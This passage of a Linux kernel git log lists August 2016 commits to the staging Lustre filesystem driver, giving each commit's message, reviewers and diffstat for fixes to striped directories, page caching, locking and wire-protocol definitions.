8 insertions(+) commit 049e215e0e2b9855c4ccfd9d559be127355b570f Author: wang di Date: Tue Aug 16 16:19:27 2016 -0400 staging: lustre: obd: implement md_read_page This patch adds md_read_page which is a new more flexiable api that will replace md_readpage. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 13 ++++++++++++- drivers/staging/lustre/lustre/include/obd_class.h | 15 +++++++++++++++ 2 files changed, 27 insertions(+), 1 deletion(-) commit a043a1020f26d400c8f5d195308466813df969a7 Author: Dmitry Eremin Date: Tue Aug 16 16:19:26 2016 -0400 staging: lustre: lmv: build error with gcc 4.7.0 20110509 Fixed comparison between signed and unsigned indexes. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3775 Reviewed-on: http://review.whamcloud.com/7382 Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 34 +++++++++++++++-------------- 1 file changed, 18 insertions(+), 16 deletions(-) commit 8015e1808718ffd3d8bb983d7148f5782db297f2 Author: John L. Hammond Date: Tue Aug 16 16:19:25 2016 -0400 staging: lustre: obd: validate open handle cookies Add a const void *h_owner member to struct portals_handle. Add a const void *owner parameter to class_handle2object() which must be matched by the h_owner member of the handle in addition to the cookie. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3233 Reviewed-on: http://review.whamcloud.com/6938 Reviewed-by: Andreas Dilger Reviewed-by: Fan Yong Reviewed-by: Mike Pershin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_handles.h | 3 ++- drivers/staging/lustre/lustre/ldlm/ldlm_lock.c | 2 +- drivers/staging/lustre/lustre/obdclass/genops.c | 2 +- drivers/staging/lustre/lustre/obdclass/lustre_handles.c | 4 ++-- 4 files changed, 6 insertions(+), 5 deletions(-) commit 6a42e615a28bad49f2e04829486e94190c066390 Author: James Simmons Date: Tue Aug 16 16:19:24 2016 -0400 staging: lustre: llite: remove assert for acl refcount The purpose of this asssert to was to ensure lustre was properly managing its posix_acl access. This test is invalid due to the VFS layer also taking references on the posix_acl. In reality their is no simple way to detect this class of mistakes. Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/llite_lib.c | 1 - 1 file changed, 1 deletion(-) commit a5c954eff652359aeecb4d822e8e8cef86abcb9b Author: James Simmons Date: Tue Aug 16 16:19:23 2016 -0400 staging: lustre: include: fix one off errors in lustre_id.h During inspection of another patch Dan Carpenter noticed some one off errors in lustre_id.h. Fix the condition test for OBIF_MAX_OID. Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_idl.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3147b268400adeec63b6253534a6176c99b8af80 Author: Hongchao Zhang Date: Tue Aug 16 16:19:22 2016 -0400 staging: lustre: osc: Automatically increase the max_dirty_mb When RPC size or the max RPCs in flight is increased, the actual limit might be max_dirty_mb. This patch automatically increases the max_dirty_mb value at connection time and when the related values are tuned manually by proc file system. this patch also changes the unit of "cl_dirty" and "cl_dirty_max" in client_obd from byte to page. Signed-off-by: Li Xi Signed-off-by: Hongchao Zhang Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4933 Reviewed-on: http://review.whamcloud.com/10446 Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 28 ++++++++++++++++++-- drivers/staging/lustre/lustre/ldlm/ldlm_lib.c | 12 +++++---- drivers/staging/lustre/lustre/osc/lproc_osc.c | 10 +++++--- drivers/staging/lustre/lustre/osc/osc_cache.c | 28 ++++++++++---------- drivers/staging/lustre/lustre/osc/osc_request.c | 34 +++++++++++++++---------- drivers/staging/lustre/lustre/ptlrpc/import.c | 1 + 6 files changed, 74 insertions(+), 39 deletions(-) commit c8deb3cb5f9f4fd1239912d3ac1bec3a3d05e73a Author: Fan Yong Date: Tue Aug 16 16:19:21 2016 -0400 staging: lustre: lmv: build master LMV EA dynamically build via readdir When creating a striped directory, the master object saves the slave objects (or shards) as internal sub-directories. The sub-directory's name is composed of ${shard_FID}:${shard_idx}. With the name, we can easily to know what the shard is and where it should be. On the other hand, we need to store some information related with the striped directory, such as magic, hash type, shards count, and so on. That is the LMV EA (header). We do NOT store the FID of each shard in the LMV EA. Instead, when we need the shards' FIDs (such as readdir() on client-side), we can build the entrie LMV EA on the MDT (in RAM) by iterating the sub-directory entries that are contained in the master object of the striped directroy. Above mechanism can simplify the striped directory create operation. For very large striped directory, logging the FIDs array in the LMV EA will be trouble. It also simplify the LFSCK for verifying striped directory, because it reduces the inconsistency sources. Another fixing is about the lmv_master_fid in master LMV EA header, it is redundant information, and may become one of the inconsistency sources. So replace it with two __u64 padding fields. Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5223 Reviewed-on: http://review.whamcloud.com/10751 Reviewed-by: Andreas Dilger Reviewed-by: Alex Zhuravlev Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 7 ++-- drivers/staging/lustre/lustre/include/lustre_lmv.h | 30 ------------- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 4 -- drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 49 ++++++++++++++++++++++ 4 files changed, 52 insertions(+), 38 deletions(-) commit 36c6607c7934c45c0a0e07d4f38fb843122798f2 Author: Andriy Skulysh Date: Tue Aug 16 16:19:20 2016 -0400 staging: lustre: ptlrpc: request gets stuck in UNREGISTERING phase Exit condition from UNREGISTERING phase is releasing of both reply and bulk buffers. Call ptlrpc_unregister_bulk() if ptlrpc_unregister_reply() wasn't completed in async mode before switching to UNREGISTERING phase. Signed-off-by: Andriy Skulysh Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5259 Xyratex-bug-id: MRP-1960 Reviewed-on: http://review.whamcloud.com/10846 Reviewed-by: Andreas Dilger Reviewed-by: Ann Koehler Reviewed-by: Liang Zhen Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/client.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 893ab74792632cca7c49382fd80c6304df51294e Author: wang di Date: Tue Aug 16 16:19:19 2016 -0400 staging: lustre: lmv: try all stripes for unknown hash functions For unknown hash type, LMV should try all stripes to locate the name entry. But it will only for lookup and unlink, i.e. we can only list and unlink entries under striped dir with unknown hash type. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4921 Reviewed-on: http://review.whamcloud.com/10041 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_user.h | 1 + .../staging/lustre/lustre/include/obd_support.h | 3 + drivers/staging/lustre/lustre/lmv/lmv_intent.c | 70 +++++++--- drivers/staging/lustre/lustre/lmv/lmv_internal.h | 12 ++ drivers/staging/lustre/lustre/lmv/lmv_obd.c | 144 +++++++++++++++++---- 5 files changed, 182 insertions(+), 48 deletions(-) commit b14b3ba5775452bdfde0067031fde94a7c18e027 Author: Mikhail Pershin Date: Tue Aug 16 16:19:18 2016 -0400 staging: lustre: llog: keep llog ctxt indices constant The llog context id table cannot be shrunk easily because that will cause index shifting and incompatibility between old client and new server and vice versa. Patch moves llog_ctxt_id table to the lustre_idl.h because this is wire protocol data, these values are added to the wirecheck. Signed-off-by: Mikhail Pershin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5218 Reviewed-on: http://review.whamcloud.com/10758 Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 24 +++++++++++++++++++++- drivers/staging/lustre/lustre/include/obd.h | 21 ------------------- drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 13 ++++++++++++ 3 files changed, 36 insertions(+), 22 deletions(-) commit ac094f382f7e20df5fd1c9ad021652c9e9199ec6 Author: Lai Siyao Date: Tue Aug 16 16:19:17 2016 -0400 staging: lustre: ptlrpc: add OBD_CONNECT_UNLINK_CLOSE flag Add OBD_CONNECT_UNLINK_CLOSE flag for interop, once this is supported, client packs file handle in unlink RPC, and MDT will close file before unlink. Signed-off-by: Lai Siyao Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4367 Reviewed-on: http://review.whamcloud.com/10426 Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_idl.h | 1 + drivers/staging/lustre/lustre/obdclass/lprocfs_status.c | 2 ++ drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 2 ++ 3 files changed, 5 insertions(+) commit c1b66fccf9866fe5938be1fea12643a45bef7640 Author: Lai Siyao Date: Tue Aug 16 16:19:16 2016 -0400 staging: lustre: fid: do open-by-fid by default Currently client open-by-fid often packs name into the request, but the name may be invalid, eg. NFS export, and even if it's valid, it may cause inconsistency because this operation is done on this fid, which is globally unique, but name not. Since open-by-fid doesn't pack name, for striped dir we can't know parent stripe fid on client, so we set parent fid the same as child fid, and MDT has to find its parent fid from linkea (this is already supported by MDT). M_CHECK_STALE becomes obsolete. Unset MDS_OPEN_FL_INTERNAL from open syscall flags, because these flags are internally used, and should not be set from user space. It's not necessary to store parent fid in lli_pfid, because MDT can get it's parent fid from linkea, and now that DNE stripe directory stores master inode fid in lli_pfid, stop storing parent fid to avoid conflict. Signed-off-by: Lai Siyao Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3544 Reviewed-on: http://review.whamcloud.com/7476 Reviewed-on: http://review.whamcloud.com/10692 Reviewed-by: Fan Yong Reviewed-by: Nathaniel Clark Reviewed-by: wangdi Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 5 ++ .../staging/lustre/lustre/include/lustre_lite.h | 1 - drivers/staging/lustre/lustre/include/lustre_mds.h | 3 - drivers/staging/lustre/lustre/llite/file.c | 71 ++++++++++------------ .../staging/lustre/lustre/llite/llite_internal.h | 4 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 17 +----- drivers/staging/lustre/lustre/llite/llite_nfs.c | 14 +++-- drivers/staging/lustre/lustre/llite/namei.c | 1 + drivers/staging/lustre/lustre/lmv/lmv_intent.c | 41 ++++++------- drivers/staging/lustre/lustre/mdc/mdc_internal.h | 1 - drivers/staging/lustre/lustre/mdc/mdc_lib.c | 5 +- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 21 ------- .../lustre/lustre/obdclass/lprocfs_status.c | 2 +- 13 files changed, 71 insertions(+), 115 deletions(-) commit be191af9f571c3a4a9b05e49bfb970c79ca623e9 Author: Brian Behlendorf Date: Tue Aug 16 16:19:15 2016 -0400 staging: lustre: obd: limit lu_object cache As the LU cache grows it can consume large enough chunks of memory that ends up preventing buffers for other objects, such as the OIs, from being cached and severely impacting the performance for FID lookups. Limit the lu_object cache to a maximum of lu_cache_nr objects. NOTES: * In order to be able to quickly determine the number of objects in the hash table the CFS_HASH_COUNTER flag is added. This adds an atomic_inc/dec to the hash insert/remove paths but is not expected to have any measurable impact of performance. Signed-off-by: Brian Behlendorf Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5164 Reviewed-on: http://review.whamcloud.com/10237 Reviewed-by: Andreas Dilger Reviewed-by: Alex Zhuravlev Reviewed-by: Isaac Huang Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/lu_object.c | 91 +++++++++++++++------- 1 file changed, 64 insertions(+), 27 deletions(-) commit b4e40299f6b90ce9d65224513a1c07e8fd128fc3 Author: James Simmons Date: Tue Aug 16 16:19:14 2016 -0400 staging: lustre: obdclass: compile issues with variable not being initialized One of the versions of gcc I have refuses to build obd_mount.c due to index not be initialized in function lmd_make_exclusion before it is used. Signed-off-by: James Simmons Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4629 Reviewed-on: http://review.whamcloud.com/10705 Reviewed-by: John L. Hammond Reviewed-by: Bob Glossman Reviewed-by: Dmitry Eremin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/obd_mount.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 099d5adf1ebb1d9d60097ece334930d9dab1bbc9 Author: Emoly Liu Date: Tue Aug 16 16:19:13 2016 -0400 staging: lustre: ldlm: improve ldlm_lock_create() return value ldlm_lock_create() and ldlm_resource_get() always return NULL as error reporting and "NULL" is interpretted as ENOMEM incorrectly sometimes. This patch fixes this problem by using ERR_PTR() rather than NULL. Signed-off-by: Emoly Liu Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4524 Reviewed-on: http://review.whamcloud.com/9004 Reviewed-by: Bobi Jam Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_flock.c | 4 ++-- drivers/staging/lustre/lustre/ldlm/ldlm_lock.c | 28 +++++++++++++--------- drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 13 ++++------ drivers/staging/lustre/lustre/ldlm/ldlm_resource.c | 25 ++++++------------- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 2 +- drivers/staging/lustre/lustre/mdc/mdc_reint.c | 2 +- drivers/staging/lustre/lustre/osc/osc_request.c | 2 +- 7 files changed, 34 insertions(+), 42 deletions(-) commit aa08b0e3c7ae977ed9384f63ded2743e0aee1c7e Author: Patrick Farrell Date: Tue Aug 16 16:19:12 2016 -0400 staging: lustre: fld: add fld description documentation Add subsystem description from Di Wang to header file. Signed-off-by: Patrick Farrell Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5153 Reviewed-on: http://review.whamcloud.com/10631 Reviewed-by: wangdi Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/fld/fld_internal.h | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 7aca4ae34c22c57f09d01695b956aac88ad3006c Author: wang di Date: Tue Aug 16 16:19:11 2016 -0400 staging: lustre: mdc: always use D_INFO for debug info when mdc_put_rpc_lock fails Also use D_INFO no matter what the error returned from mdc_put_rpc_lock. Signed-off-by: Andreas Dilger Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4973 Reviewed-on: http://review.whamcloud.com/10150 Reviewed-by: Mike Pershin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/mdc/mdc_locks.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit d806f30e639b0ff5abeb012b08932691be795342 Author: Jinshan Xiong Date: Tue Aug 16 16:19:10 2016 -0400 staging: lustre: osc: revise unstable pages accounting A few changes are made in this patch for unstable pages tracking: 1. Remove kernel NFS unstable pages tracking because it killed performance 2. Track unstable pages as part of LRU cache. Otherwise Lustre can use much more memory than max_cached_mb 3. Remove obd_unstable_pages tracking to avoid using global atomic counter 4. Make unstable pages track optional. Tracking unstable pages is turned off by default, and can be controlled by llite.*.unstable_stats. Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4841 Reviewed-on: http://review.whamcloud.com/10003 Reviewed-by: Andreas Dilger Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 35 ++-- .../staging/lustre/lustre/include/obd_support.h | 1 - drivers/staging/lustre/lustre/llite/lproc_llite.c | 41 +++- drivers/staging/lustre/lustre/obdclass/class_obd.c | 2 - drivers/staging/lustre/lustre/osc/osc_cache.c | 96 +--------- drivers/staging/lustre/lustre/osc/osc_internal.h | 2 +- drivers/staging/lustre/lustre/osc/osc_page.c | 208 ++++++++++++++++++--- drivers/staging/lustre/lustre/osc/osc_request.c | 13 +- 8 files changed, 253 insertions(+), 145 deletions(-) commit 96c53363d8e56f31b450f6b7cdc0e6ae748e1481 Author: Jinshan Xiong Date: Tue Aug 16 16:19:09 2016 -0400 staging: lustre: clio: Reduce memory overhead of per-page allocation A page in clio used to occupy 584 bytes, which will use size-1024 slab cache. This patch reduces the per-page overhead to 512 bytes so it can use size-512 instead. Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4793 Reviewed-on: http://review.whamcloud.com/10070 Reviewed-by: Andreas Dilger Reviewed-by: Bobi Jam Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 37 ++++++---------------- drivers/staging/lustre/lustre/llite/vvp_internal.h | 6 ++-- .../staging/lustre/lustre/lov/lov_cl_internal.h | 4 +-- drivers/staging/lustre/lustre/lov/lov_io.c | 6 ++-- drivers/staging/lustre/lustre/lov/lov_page.c | 1 + drivers/staging/lustre/lustre/obdclass/cl_io.c | 10 +----- drivers/staging/lustre/lustre/obdclass/cl_page.c | 12 ++----- drivers/staging/lustre/lustre/osc/osc_internal.h | 1 - drivers/staging/lustre/lustre/osc/osc_io.c | 7 +++- drivers/staging/lustre/lustre/osc/osc_request.c | 6 ---- 10 files changed, 26 insertions(+), 64 deletions(-) commit 2e1b5b8b350528201c43f2af59f5e9e805432ace Author: John L. Hammond Date: Tue Aug 16 16:19:08 2016 -0400 staging: lustre: mdt: add mbo_ prefix to members of struct mdt_body Rename each member of struct mdt_body, adding the prefix mbo_. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/10202 Reviewed-by: Bob Glossman Reviewed-by: Andreas Dilger Reviewed-by: Mike Pershin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 74 +++--- drivers/staging/lustre/lustre/include/lustre_mdc.h | 14 +- drivers/staging/lustre/lustre/llite/dir.c | 30 +-- drivers/staging/lustre/lustre/llite/file.c | 20 +- drivers/staging/lustre/lustre/llite/lcommon_cl.c | 2 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 110 ++++----- drivers/staging/lustre/lustre/llite/llite_nfs.c | 6 +- drivers/staging/lustre/lustre/llite/namei.c | 44 ++-- drivers/staging/lustre/lustre/llite/statahead.c | 4 +- drivers/staging/lustre/lustre/llite/symlink.c | 6 +- drivers/staging/lustre/lustre/llite/xattr.c | 14 +- drivers/staging/lustre/lustre/llite/xattr_cache.c | 12 +- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 38 +-- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 16 +- drivers/staging/lustre/lustre/mdc/mdc_lib.c | 62 ++--- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 32 +-- drivers/staging/lustre/lustre/mdc/mdc_reint.c | 4 +- drivers/staging/lustre/lustre/mdc/mdc_request.c | 52 ++-- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 56 ++--- drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 268 ++++++++++----------- 20 files changed, 432 insertions(+), 432 deletions(-) commit 50ccd16ea29af542fc61aed0f0311cb287234a83 Author: Hongchao Zhang Date: Tue Aug 16 16:19:07 2016 -0400 staging: lustre: llite: set dir LOV xattr length variable the LOV xattr of directory could be either lov_user_md_v1 (size is 32) or lov_user_md_v3 (size is 48), then the actual size of the LOV xattr should be return. Signed-off-by: Hongchao Zhang Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5100 Reviewed-on: http://review.whamcloud.com/10453 Reviewed-by: James Simmons Reviewed-by: Alex Zhuravlev Reviewed-by: jacques-Charles Lafoucriere Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/xattr.c | 8 -------- 1 file changed, 8 deletions(-) commit f7aafa7cadd618d16cfe0e4bb16eed15eb69e6d1 Author: Niu Yawei Date: Tue Aug 16 16:19:06 2016 -0400 staging: lustre: obd: rename lsr_padding to lsr_valid Simple variable rename. Signed-off-by: Niu Yawei Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4345 Reviewed-on: http://review.whamcloud.com/10223 Reviewed-by: Andreas Dilger Reviewed-by: Mike Pershin Reviewed-by: Alex Zhuravlev Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_idl.h | 2 +- drivers/staging/lustre/lustre/obdclass/llog_swab.c | 1 + drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 8 ++++---- 3 files changed, 6 insertions(+), 5 deletions(-) commit d07d4cb829dba5b08ee99b6b072245456f0078eb Author: wang di Date: Tue Aug 16 16:19:05 2016 -0400 staging: lustre: llite: use the correct mode for striped directory Create striped directory with correct mode, which should be handling same as mkdir. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4929 Reviewed-on: http://review.whamcloud.com/10028 Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 40 +++++++++++++++++++++---------- 1 file changed, 27 insertions(+), 13 deletions(-) commit 711942df9593229b0a2c71895d2058573844f305 Author: wang di Date: Tue Aug 16 16:19:04 2016 -0400 staging: lustre: lmv: Match MDT where the FID locates first With DNE every object can have two locks in different namespaces: lookup lock in space of MDT storing direntry and update/open lock in space of MDT storing inode. In lmv_find_cbdata/lmv_lock_lock, it should try the MDT that the FID maps to first, since this can be easily found, and only try others if that fails. In the error handler of lmv_add_targets, it should check whether ld_tgt_count is being increased before ld_tgt_count is being -1. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4098 Reviewed-on: http://review.whamcloud.com/8019 Reviewed-by: Andreas Dilger Reviewed-by: Fan Yong Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_internal.h | 45 ++++++++++++++----- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 57 +++++++++++++++++------- 2 files changed, 73 insertions(+), 29 deletions(-) commit 865b734e8db3f27bf2e58e597c8833a423bd9326 Author: Fan Yong Date: Tue Aug 16 16:19:03 2016 -0400 staging: lustre: lov: new pattern flag for partially repaired file When the layout LFSCK repairs orphan OST-object, if the parent MDT-object was lost, then it will re-create the MDT-object and regenerate the LOV EA and fill the target LOV EA slot with the orphan information, and fill other slots with zero (LOV hole); if related LOV EA slot is invalid or hole, then it will refill the target LOV EA slot; if the target slot exceeds current LOV EA tail, then extend the LOV EA, and fill the gaps as zero. Some of the LOV EA holes may cannot be re-filled finally because of lost some OST-objects. And even if they can be re-filled, but there are still some possible race accessings from client before the re-filling. If the client access the LOV EA with hole(s), it may cause some strange behaviour, such as trigger LBUG()/LASSERT() on the client. So we will make the client to be aware of the LOV EA is incomplete. We introduce a new LOV EA pattern flag LOV_PATTERN_F_HOLE for that: any time when the LFSCK repairs the LOV EA with hole(s), the LOV EA will be marked as LOV_PATTERN_F_HOLE; when all the holes in the LOV EA are refilled, the LOV_PATTERN_F_HOLE will be dropped. For a new client, it recongizes the pattern flag LOV_PATTERN_F_HOLE, then it can permit/forbid some opertions on the file with LOV holes: 1) Normal read/write the file with LOV EA hole is permitted, but the application will get EIO error when read data from the dummy slot or write data to the dummy slot. 2) The users can dump the recovered data via some common read tools, such as "dd conv=sync,noerror". 3) Append data to the file which has LOV EA hole will get EIO failure. 4) Other operations will skip the LOV EA hole(s), and will not get failures, such as {s,g}etattr, {s,g}getxattr, stat, chown/chgrp, chmod, touch, unlink, and so on. For an old client, since it will not recognize the new pattern flag LOV_PATTERN_F_HOLE. So the LOV EA with hole will be dicarded with failure, but it will not cause the client to be crashed. Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4675 Reviewed-on: http://review.whamcloud.com/10042 Reviewed-by: Andreas Dilger Reviewed-by: Alex Zhuravlev Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lustre/include/lustre/lustre_idl.h | 1 + .../staging/lustre/lustre/include/lustre/lustre_user.h | 2 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- drivers/staging/lustre/lustre/lov/lov_io.c | 16 +++++++++++++--- drivers/staging/lustre/lustre/obdclass/lprocfs_status.c | 2 ++ drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 2 ++ 6 files changed, 20 insertions(+), 5 deletions(-) commit a609c393707848dda71c4287f432c19a9b09a566 Author: wang di Date: Tue Aug 16 16:19:02 2016 -0400 staging: lustre: lmv: validate lock with correct stripe FID In ll_lookup_it_finish, we need use the real parent(stripe) FID to validate the parent UPDATE lock. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4925 Reviewed-on: http://review.whamcloud.com/10026 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 5 +++++ drivers/staging/lustre/lustre/include/obd_class.h | 13 +++++++++++++ drivers/staging/lustre/lustre/llite/namei.c | 15 +++++++++++++-- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 19 ++++++++++++++++++- 4 files changed, 49 insertions(+), 3 deletions(-) commit ef21b1fb8348eede7f62ea0ab89e1af191f6041e Author: wang di Date: Tue Aug 16 16:19:01 2016 -0400 staging: lustre: llite: a few fixes about readdir of striped dir. Normally we know the value of op_mea1 when ll_readdir is called. In the case of '.' or '..' op_mea1 is unknown so for that case fetch the real parents FID. Signed-off-by: wang di Signed-off-by: Li Xi Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4603 Reviewed-on: http://review.whamcloud.com/9191 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Fan Yong Reviewed-by: Li Xi Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 27 +++++++++++++++++++ .../staging/lustre/lustre/llite/llite_internal.h | 1 + drivers/staging/lustre/lustre/llite/llite_nfs.c | 31 +++++++++++++++------- 3 files changed, 50 insertions(+), 9 deletions(-) commit 00c0a6aea0d0ab2c11594616244d787ad7bf64dc Author: John L. Hammond Date: Tue Aug 16 16:19:00 2016 -0400 staging: lustre: uapi: reduce scope of lustre_idl.h Move the definition of OBD_OCD_VERSION() and similar macros from lustre_idl.h to lustre_ver.h. These macros are primarily used in comparisons to LUSTRE_VERSION_CODE which is defined in lustre_ver.h and so should be defined there as well. Move a few definitions (related to FIDs, quota and striping) from lustre_idl.h to lustre_user.h. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5065 Reviewed-on: http://review.whamcloud.com/10336 Reviewed-by: Andreas Dilger Reviewed-by: Bob Glossman Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 38 ++-------------------- .../lustre/lustre/include/lustre/lustre_user.h | 32 ++++++++++++++++-- drivers/staging/lustre/lustre/include/lustre_ver.h | 13 ++++++-- 3 files changed, 41 insertions(+), 42 deletions(-) commit d8c0b0a9e6500131938d92bcd6213af520c10401 Author: Jinshan Xiong Date: Tue Aug 16 16:18:59 2016 -0400 staging: lustre: llite: Change readdir BRW metrics To simplify the code, change the metrics from bytes to pages. Signed-off-by: Andreas Dilger Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5034 Reviewed-on: http://review.whamcloud.com/10275 Reviewed-by: wangdi Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 2 +- drivers/staging/lustre/lustre/llite/llite_internal.h | 2 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) commit 297e908f08cb40c4bbe11b06c30ff1de1a3740c0 Author: Jinshan Xiong Date: Tue Aug 16 16:18:58 2016 -0400 staging: lustre: llite: Fix the deadlock in balance_dirty_pages() If the page is already dirtied in ll_write_end() and kernel tries to call balance_dirty_pages() to write back dirty pages in the same thread, this is deadlock case if the page is already held by clio. This can also fix the issue of LU-4873. Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4977 Reviewed-on: http://review.whamcloud.com/10149 Reviewed-by: Bobi Jam Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/rw26.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 